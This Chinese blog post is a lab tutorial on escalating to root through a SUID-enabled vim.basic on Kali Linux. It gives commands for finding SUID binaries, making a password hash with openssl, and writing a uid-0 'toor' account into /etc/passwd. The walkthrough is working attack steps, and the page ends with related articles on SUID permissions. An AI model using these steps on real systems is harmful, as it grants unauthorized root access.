linux suid 脚本,Linux使用suid vim.basic文件实现提权

女爷i 2023-01-20 01:57 41阅读 0赞

在kali上复现

先给需要的vim.basic文件设置suid权限

chmod u+s /usr/bin/vim.basic

先adduser test1一个普通权限用户

现在就是一个合适的提权环境

通过以下命令可以找到存在suid权限的文件

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb \{\} \\；

可用于提权的文件有

nmap

vim

find

bash

more

less

nano

cp

![f309d7ff234d06715e69091f96978f85.png][]

利用vim提权的思路是修改etc/passwd文件，为自己添加一个有root权限的用户

passwd文件用户格式为：用户名:密码:uid:gid:注释:home目录:用户的shell

这边可以看看root用户的格式

root:x:0:0:root:/root:/bin/bash

(密码这部分之所以是x，是因为真正的密码存在/etc/shadow文件里)

![081b85274c602b936a793dc610d1aa62.png][]

生成密码：用openssl passwd -1 –salt asd 123 (这里是-1(数字1)不是L)

直接写在passwd文件里面，

![a4253001fd74f545a41be3da75a4ee2c.png][]

toor:$1$asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/toor:/bin/bash

用vim /etc/passwd可以修改，但是在保存是会出现E212，无法保存，提示我们没有权限修改这个

![da4db9047ea778f7dcd65060d8361614.png][]

这时应该用之前find找到的vim.basic文件运行，这个程序是有suid权限的。绝对可以修改

vim.basic /etc/passwd

用这个打开，然后修改文件，就可以成功保存

![f97ddfa10af31364d4e9f01f6947f9a1.png][]

可以看到已经添加了，su toor切换，密码123，再id查看一下权限

![2f471eeb806ecd6f2568f9cfc1196d4d.png][]

root权限

chmod u+s /usr/bin/vim.basic

以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持脚本之家。

[f309d7ff234d06715e69091f96978f85.png]: /images/20221021/149a6dcaf773466898f038399caa6a93.png
[081b85274c602b936a793dc610d1aa62.png]: /images/20221021/1c98e5ff6f604343a58af8c093639dc6.png
[a4253001fd74f545a41be3da75a4ee2c.png]: /images/20221021/0f59dd8487104aa6a81590d040f90110.png
[da4db9047ea778f7dcd65060d8361614.png]: /images/20221021/19a83c596894472da76ba2177b692f10.png
[f97ddfa10af31364d4e9f01f6947f9a1.png]: /images/20221021/d09c09958dc44060ace187b598a52fa4.png
[2f471eeb806ecd6f2568f9cfc1196d4d.png]: /images/20221021/ec5442a39d014d8b9ba9d64af428b0c5.png

发表评论取消回复

表情：

评论列表（有 0 条评论，41人围观）

还没有评论，来说两句吧...

相关阅读

相关使用SUID二进制文件进行Linux权限升级技巧

0x00 基础知识众所周知，在Linux中一切都以文件存在，包括具有允许或限制三个执行操作(即读/写/执行)权限的目录和设备。因此，当给任何文件设置权限时，应该需要了解

快来打我*/ 2024年04月07日 10:58/ 0 赞/ 122 阅读

相关 linux suid 脚本,Linux使用suid vim.basic文件实现提权

在kali上复现先给需要的vim.basic文件设置suid权限 chmod u+s /usr/bin/vim.basic 先adduser test1一个普通权限用户

女爷i/ 2023年01月20日 01:57/ 0 赞/ 42 阅读

相关 python提权_linux 提权-SUID提权

前言最近想着学习linux提权的一些姿势，这里简单分享学习SUID提权的一些知识点。权限解读先来父复习一下linux文件的权限分配。 ls命令用来查看系统上面的文

曾经终败给现在/ 2023年01月08日 15:28/ 0 赞/ 435 阅读

相关 Linux的特殊文件权限：SUID、SGID、Sticky

文章目录 Linux的特殊文件权限 SUID (\`u+s\`) SGID(\`g+s\`) Sticky(\`o+t\`)

旧城等待，/ 2022年10月31日 13:37/ 0 赞/ 274 阅读

相关深入Linux文件权限 SUID/SGID/SBIT

[Linux][]的文件权限除了rwx之外，还有s和t这两个特殊的。一、Set UID 当s这个标志出现在文件所有者的x权限上时，此时就被称为Set UID，简程SU

ゝ一世哀愁。/ 2022年06月11日 07:13/ 0 赞/ 276 阅读

相关 Linux 文件目录特殊权限设定(SUID，SGID，SBIT)

Linux文件及目录的权限设定，除了我们孰知的读写执行(rwx)之外，还有一些特殊的权限设定用来满足特定的目录。这些特殊权限的设定主要是SUID，SGID以及SBIT。这几个值

灰太狼/ 2022年06月10日 08:51/ 0 赞/ 264 阅读

相关 linux 用户权限 SUID、SGID、SBIT...

Linux的特殊权限和应用 -------------------- > SUID：作用于用户当文件设置了setuid位后，任何能够执行此文档的用户都有与文件

àì夳堔傛蜴生んèń/ 2022年05月15日 04:59/ 0 赞/ 272 阅读

相关 Linux文件特殊权限：SUID、SGID和SBIT

1.SUID 当s这个标志出现在文件所有者的x权限上时，例如文件权限状态“-rwsr-xr-x”，此时就称为 Set UID，简称为SUID的特殊权限。SUID有这样的限制

桃扇骨/ 2022年05月13日 13:10/ 0 赞/ 315 阅读

相关 linux 文件访问控制特殊权限 suid,sgid,sbit

setuid 和 setgid 分别是 set uid ID upon execution 和 set group ID upon execution 的缩写。我们一般会再次把

我不是女神ヾ/ 2021年08月27日 02:01/ 0 赞/ 472 阅读

相关 linux 关于SUID，SGID，sticky

这三个Linux文件访问特权位 1、SUID（set-user-ID）位 SUID位的作用：若文件F设置SUID位为1，文件F的拥有者是用户A，而用户B拥

Dear 丶/ 2021年06月24日 13:59/ 0 赞/ 458 阅读